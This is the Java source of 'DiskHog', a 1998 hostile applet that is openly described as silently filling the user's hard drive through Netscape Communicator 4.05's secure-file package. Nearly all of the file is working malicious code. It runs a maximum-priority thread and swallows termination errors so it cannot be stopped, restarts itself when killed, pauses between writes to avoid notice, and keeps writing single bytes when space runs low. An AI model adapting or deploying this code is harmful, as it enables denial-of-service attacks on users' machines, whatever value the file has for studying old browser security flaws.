/*  DiskHog.java by Mark D. LaDue */

/*  April 12, 1998 */

/*  Copyright (c) 1998 Mark D. LaDue
    You may study, use, modify, and distribute this example for any purpose.
    This example is provided WITHOUT WARRANTY either expressed or implied.  */

/*  This nasty applet continuously dumps bytes to a file on your machine.
    How does it do that?  In Communicator 4.05 there is a new package,
    netscape.secfile, that allows applets virtually unrestricted access
    to your hard drive under a "secure" directory, secfile in the browser's
    user.home directory.  Applets like this make a mockery of the new
    package.  Note that this applet does not announce its presence, and you
    might never know that it's filling up your file system - until it's too
    late.  In order to compile the applet, you will need to make sure that
    the Communicator 4.05's classes are in your CLASSPATH.  */

import java.io.*;
import netscape.applet.*;
import netscape.secfile.*;

public class DiskHog extends java.applet.Applet implements Runnable {

    Thread stubborn;

    public void init() {
        stubborn = null;
    }

    public void start() {
        if (stubborn == null) {
            stubborn = new Thread(this,"stubborn");
            stubborn.setPriority(Thread.MAX_PRIORITY);
            stubborn.start();
        }
    }

    public void stop() {}    

    public void run() {

// Dump 1MB and sleep a bit to avert suspicion

        try {
            while (true) {
                dump();
                try {stubborn.sleep(2000);}
                catch (InterruptedException e) {}
            }
        }

// Catch all kinds of stuff to make sure we're not stopped

        catch (ThreadDeath td) {}
        catch (Exception except) {}
        catch (Error err) {}


// Resurrect the hostile thread in case of ThreadDeath, Exception, or Error

        finally {
            DiskHog hog = new DiskHog();
            Thread reborn = new Thread(hog, "stubborn");
            reborn.start();
        }
    }

// Dump a megabyte to a "cache" file

    public void dump() {

        SecureFileOutputStream sfos = null;

        byte[] byter = new byte[1048576];
        for (int i = 0; i < byter.length; i++) {
            byter[i] = (byte) i;
        }

        try {
            sfos = new SecureFileOutputStream("cache", true);
            sfos.write(byter);
        }

// If we can't dump a megabyte, try to dump less

        catch (IOException ioe) {dumpbytes();}
    }

// Start dumping single bytes - up to 1 MB - when space is low

    public void dumpbytes() {

        try {
            SecureFileOutputStream sfos = new SecureFileOutputStream("cache", true);
            for (int i = 0; i < 1048576 ;i++) {
                sfos.write(i);
            }
        }

// We're probably out of space, so pause for 5 seconds, then go look for more

        catch (IOException ioe) {
            try {Thread.currentThread().sleep(5000);}
            catch (InterruptedException ie) {}
        }
    }
}
